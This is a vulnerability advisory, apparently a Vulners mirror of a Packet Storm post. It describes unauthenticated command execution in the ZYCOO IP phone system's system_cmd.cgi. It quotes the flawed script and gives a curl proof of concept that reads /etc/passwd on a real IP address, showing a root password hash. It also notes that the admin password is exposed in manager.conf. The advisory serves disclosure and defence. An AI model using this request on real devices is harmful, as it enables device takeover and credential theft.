Lucene search
K

ZYCOO IP Phone System Remote Command Execution

🗓️ 20 Aug 2016 00:00:00Reported by Ahmed SultanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 42 Views

ZYCOO IP Phone System Remote Command Execution vulnerability in /www/cgi-bin/system_cmd.cg

Code
`Vulnerable hardware : ZYCOO IP phone system  
Vendor : zycoo.com  
Author : Ahmed sultan (@0x4148)  
Email : [email protected]  
  
Summary : According to the vendor's site ,  
CooVox Series IP Phone System is the most innovative solution for VoIP  
telecommunication in SMB (Small and Medium-sized Business) market.  
They provide not only traditional PBX functions such as automated attendant  
and voicemail,  
but also offer many advance telephony features, including remote  
extensions, remote office connection,  
IVR, call recording, call detail records(CDR)a|  
  
Vulnerable file : /www/cgi-bin/system_cmd.cgi  
  
Code shot :  
  
#!/bin/hush  
printf '\r\n'  
if [ -n "$REQUEST_METHOD" ]; then  
case "$REQUEST_METHOD" in  
(GET)  
if [ -n "$QUERY_STRING" ]; then  
for args in `echo "$QUERY_STRING" | tr "&" " "`  
do  
param=`echo "$args" | cut -d "=" -f 1`  
value=`echo "$args" | cut -d "=" -f 2`  
eval "export $param=$value"  
done  
fi  
;;  
esac  
fi  
INI_FILE=/etc/asterisk/manager.conf  
INI_SECTION=$username  
eval `sed -e 's/[[:space:]]*\=[[:space:]]*/=/g' \  
-e 's/;.*$//' \  
-e 's/[[:space:]]*$//' \  
-e 's/^[[:space:]]*//' \  
-e "s/^\(.*\)=\([^\"']*\)$/\1=\'\2\'/" \  
< $INI_FILE \  
| sed -n -e "/^\[$INI_SECTION\]/,/^\s*\[/{/^[^;].*\=.*/p;}"`  
password="`/etc/scripts/decodeURI $password`"  
[ -z "$secret" ] && secret=`/etc/scripts/getkeyvalue.sh ${INI_SECTION}  
vmsecret`  
if [ "$password" = "$secret" ]; then  
cmd=`echo $cmd | sed 's/%20/ /g'`  
# cmd=`echo $cmd | sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g;s/?r//g'  
| xargs echo`  
$cmd  
  
the GET parameter cmd is freely available to directly execute system  
commands with no perior required authentication  
which lead to full hardware takeover  
  
POC  
[0x4148:/R1z]# curl  
http://124.108.52.121:9999/cgi-bin/system_cmd.cgi\?cmd\='cat%20/etc/passwd'  
root:$1$C6ouMLFa$pb2/Bu1bcWpBNcX38jTva0:0:0:root:/:/bin/sh  
nobody:x:99:99:Nobody::  
  
Also by reading file /etc/asterisk/manager.conf  
hardware admin's password can be obtained in plain text  
  
Fixing?  
Unfortunately the hardware frontend really depend on this file , and the  
vendor is super lazy on replying on the emails regarding this vulnerability  
so , best fixation for now is enabling the web interface browsing from the  
local network only  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation